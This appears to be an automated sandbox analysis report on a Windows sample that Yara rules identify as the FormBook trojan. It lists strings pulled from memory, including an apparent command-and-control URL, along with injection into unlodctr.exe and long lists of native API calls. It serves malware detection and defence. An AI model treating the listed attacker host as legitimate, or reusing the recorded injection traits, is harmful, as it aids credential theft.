Source: UQO06iOMKZMPZ4A.exe	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: UQO06iOMKZMPZ4A.exe	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: UQO06iOMKZMPZ4A.exe	String found in binary or memory: http://ocsp.comodoca.com0
Source: Amcache.hve.5.dr	String found in binary or memory: http://upx.sf.net
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000C.00000002.2879612118.0000000005551000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.dntchunkysalsa.com
Source: DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000C.00000002.2879612118.0000000005551000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.dntchunkysalsa.com/qruc/
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: unlodctr.exe, 0000000B.00000002.2875903502.00000000043C4000.00000004.10000000.00040000.00000000.sdmp, DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000C.00000002.2874692684.00000000034B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000D.00000002.2357220353.00000000123C4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.litespeedtech.com/error-page
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: unlodctr.exe, 0000000B.00000003.2253314479.0000000008198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: unlodctr.exe, 0000000B.00000003.2253314479.0000000008198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: unlodctr.exe, 0000000B.00000003.2253314479.0000000008198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: unlodctr.exe, 0000000B.00000003.2253314479.0000000008198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: unlodctr.exe, 0000000B.00000002.2875903502.00000000046E8000.00000004.10000000.00040000.00000000.sdmp, unlodctr.exe, 0000000B.00000002.2881271761.00000000066E0000.00000004.00000800.00020000.00000000.sdmp, DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000C.00000002.2874692684.00000000037D8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://domaincntrol.com/?orighost=
Source: unlodctr.exe, 0000000B.00000003.2253314479.0000000008198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: unlodctr.exe, 0000000B.00000003.2253314479.0000000008198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: unlodctr.exe, 0000000B.00000003.2253314479.0000000008198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: unlodctr.exe, 0000000B.00000002.2871913958.000000000335F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: unlodctr.exe, 0000000B.00000002.2871913958.000000000335F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: unlodctr.exe, 0000000B.00000002.2871913958.000000000335F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: unlodctr.exe, 0000000B.00000002.2871913958.000000000335F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033$
Source: unlodctr.exe, 0000000B.00000002.2871913958.000000000335F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: unlodctr.exe, 0000000B.00000002.2871913958.000000000335F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: unlodctr.exe, 0000000B.00000003.2246494991.0000000008178000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: unlodctr.exe, 0000000B.00000002.2875903502.00000000046E8000.00000004.10000000.00040000.00000000.sdmp, unlodctr.exe, 0000000B.00000002.2881271761.00000000066E0000.00000004.00000800.00020000.00000000.sdmp, DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000C.00000002.2874692684.00000000037D8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://nojs.domaincntrol.com
Source: UQO06iOMKZMPZ4A.exe	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0
Source: unlodctr.exe, 0000000B.00000003.2253314479.0000000008198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: unlodctr.exe, 0000000B.00000003.2253314479.0000000008198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 2.2.UQO06iOMKZMPZ4A.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.UQO06iOMKZMPZ4A.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2873773132.0000000003770000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2062443997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2873698812.0000000003730000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2064726692.0000000001D40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2874222772.0000000003AF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2065008686.0000000003330000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.2.UQO06iOMKZMPZ4A.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 2.2.UQO06iOMKZMPZ4A.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.2873773132.0000000003770000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2062443997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.2873698812.0000000003730000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2064726692.0000000001D40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.2874222772.0000000003AF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2065008686.0000000003330000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_0042AE33 NtClose,	2_2_0042AE33
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62B60 NtClose,LdrInitializeThunk,	2_2_01A62B60
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_01A62DF0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62C70 NtFreeVirtualMemory,LdrInitializeThunk,	2_2_01A62C70
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A635C0 NtCreateMutant,LdrInitializeThunk,	2_2_01A635C0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A64340 NtSetContextThread,	2_2_01A64340
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A64650 NtSuspendThread,	2_2_01A64650
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62BA0 NtEnumerateValueKey,	2_2_01A62BA0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62B80 NtQueryInformationFile,	2_2_01A62B80
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62BE0 NtQueryValueKey,	2_2_01A62BE0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62BF0 NtAllocateVirtualMemory,	2_2_01A62BF0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62AB0 NtWaitForSingleObject,	2_2_01A62AB0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62AF0 NtWriteFile,	2_2_01A62AF0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62AD0 NtReadFile,	2_2_01A62AD0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62DB0 NtEnumerateKey,	2_2_01A62DB0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62DD0 NtDelayExecution,	2_2_01A62DD0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62D30 NtUnmapViewOfSection,	2_2_01A62D30
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62D00 NtSetInformationFile,	2_2_01A62D00
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62D10 NtMapViewOfSection,	2_2_01A62D10
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62CA0 NtQueryInformationToken,	2_2_01A62CA0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62CF0 NtOpenProcess,	2_2_01A62CF0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62CC0 NtQueryVirtualMemory,	2_2_01A62CC0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62C00 NtQueryInformationProcess,	2_2_01A62C00
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62C60 NtCreateKey,	2_2_01A62C60
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62FA0 NtQuerySection,	2_2_01A62FA0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62FB0 NtResumeThread,	2_2_01A62FB0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62F90 NtProtectVirtualMemory,	2_2_01A62F90
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62FE0 NtCreateFile,	2_2_01A62FE0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62F30 NtCreateSection,	2_2_01A62F30
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62F60 NtCreateProcessEx,	2_2_01A62F60
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62EA0 NtAdjustPrivilegesToken,	2_2_01A62EA0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62E80 NtReadVirtualMemory,	2_2_01A62E80
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62EE0 NtQueueApcThread,	2_2_01A62EE0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62E30 NtWriteVirtualMemory,	2_2_01A62E30
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A63090 NtSetValueKey,	2_2_01A63090
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A63010 NtOpenDirectoryObject,	2_2_01A63010
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A639B0 NtGetContextThread,	2_2_01A639B0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A63D10 NtOpenProcessToken,	2_2_01A63D10
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A63D70 NtOpenThread,	2_2_01A63D70
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A24340 NtSetContextThread,LdrInitializeThunk,	11_2_03A24340
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A24650 NtSuspendThread,LdrInitializeThunk,	11_2_03A24650
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22BA0 NtEnumerateValueKey,LdrInitializeThunk,	11_2_03A22BA0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22BE0 NtQueryValueKey,LdrInitializeThunk,	11_2_03A22BE0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	11_2_03A22BF0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22B60 NtClose,LdrInitializeThunk,	11_2_03A22B60
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22AF0 NtWriteFile,LdrInitializeThunk,	11_2_03A22AF0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22AD0 NtReadFile,LdrInitializeThunk,	11_2_03A22AD0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22FB0 NtResumeThread,LdrInitializeThunk,	11_2_03A22FB0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22FE0 NtCreateFile,LdrInitializeThunk,	11_2_03A22FE0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22F30 NtCreateSection,LdrInitializeThunk,	11_2_03A22F30
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22E80 NtReadVirtualMemory,LdrInitializeThunk,	11_2_03A22E80
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22EE0 NtQueueApcThread,LdrInitializeThunk,	11_2_03A22EE0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22DF0 NtQuerySystemInformation,LdrInitializeThunk,	11_2_03A22DF0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22DD0 NtDelayExecution,LdrInitializeThunk,	11_2_03A22DD0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22D30 NtUnmapViewOfSection,LdrInitializeThunk,	11_2_03A22D30
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22D10 NtMapViewOfSection,LdrInitializeThunk,	11_2_03A22D10
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22CA0 NtQueryInformationToken,LdrInitializeThunk,	11_2_03A22CA0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22C60 NtCreateKey,LdrInitializeThunk,	11_2_03A22C60
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22C70 NtFreeVirtualMemory,LdrInitializeThunk,	11_2_03A22C70
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A235C0 NtCreateMutant,LdrInitializeThunk,	11_2_03A235C0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A239B0 NtGetContextThread,LdrInitializeThunk,	11_2_03A239B0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22B80 NtQueryInformationFile,	11_2_03A22B80
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22AB0 NtWaitForSingleObject,	11_2_03A22AB0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22FA0 NtQuerySection,	11_2_03A22FA0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22F90 NtProtectVirtualMemory,	11_2_03A22F90
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22F60 NtCreateProcessEx,	11_2_03A22F60
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22EA0 NtAdjustPrivilegesToken,	11_2_03A22EA0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22E30 NtWriteVirtualMemory,	11_2_03A22E30
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22DB0 NtEnumerateKey,	11_2_03A22DB0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22D00 NtSetInformationFile,	11_2_03A22D00
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22CF0 NtOpenProcess,	11_2_03A22CF0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22CC0 NtQueryVirtualMemory,	11_2_03A22CC0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A22C00 NtQueryInformationProcess,	11_2_03A22C00
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A23090 NtSetValueKey,	11_2_03A23090
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A23010 NtOpenDirectoryObject,	11_2_03A23010
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A23D10 NtOpenProcessToken,	11_2_03A23D10
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A23D70 NtOpenThread,	11_2_03A23D70
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_02FA7660 NtCreateFile,	11_2_02FA7660
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_02FA77C0 NtReadFile,	11_2_02FA77C0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_02FA7A80 NtAllocateVirtualMemory,	11_2_02FA7A80
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_02FA78A0 NtDeleteFile,	11_2_02FA78A0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_02FA7930 NtClose,	11_2_02FA7930

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_00BC1398	0_2_00BC1398
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_00BC25D1	0_2_00BC25D1
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_00BC3508	0_2_00BC3508
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_00BC1BC8	0_2_00BC1BC8
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_00BC2048	0_2_00BC2048
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_00BC12F7	0_2_00BC12F7
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_00BC3407	0_2_00BC3407
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_00BC55A8	0_2_00BC55A8
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_00BC5598	0_2_00BC5598
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_00BC57D0	0_2_00BC57D0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_00BC57C0	0_2_00BC57C0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_00BC0870	0_2_00BC0870
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_00BC5A30	0_2_00BC5A30
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_00BC5A22	0_2_00BC5A22
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_00BC5C39	0_2_00BC5C39
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_00BC4F28	0_2_00BC4F28
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_00BC4F18	0_2_00BC4F18
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_0756CD68	0_2_0756CD68
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_07562103	0_2_07562103
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_07562128	0_2_07562128
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_075630D0	0_2_075630D0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_075630E0	0_2_075630E0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_0756EBF0	0_2_0756EBF0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_07560A40	0_2_07560A40
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_07560A30	0_2_07560A30
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_08F374C8	0_2_08F374C8
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_08F3A440	0_2_08F3A440
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_08F32778	0_2_08F32778
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_08F3AB68	0_2_08F3AB68
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_08F3CB50	0_2_08F3CB50
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_08F3AB58	0_2_08F3AB58
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_08F3CB40	0_2_08F3CB40
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_08F3ADF0	0_2_08F3ADF0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_08F3AE00	0_2_08F3AE00
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_08F3A42F	0_2_08F3A42F
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_096238E8	0_2_096238E8
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_096253C8	0_2_096253C8
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_096253B7	0_2_096253B7
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_09626230	0_2_09626230
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_0962AD41	0_2_0962AD41
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_09623D20	0_2_09623D20
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_09623D11	0_2_09623D11
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_096234B0	0_2_096234B0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_09627C88	0_2_09627C88
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_0964C900	0_2_0964C900
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_09648D10	0_2_09648D10
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_0964CC18	0_2_0964CC18
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_09649BC0	0_2_09649BC0
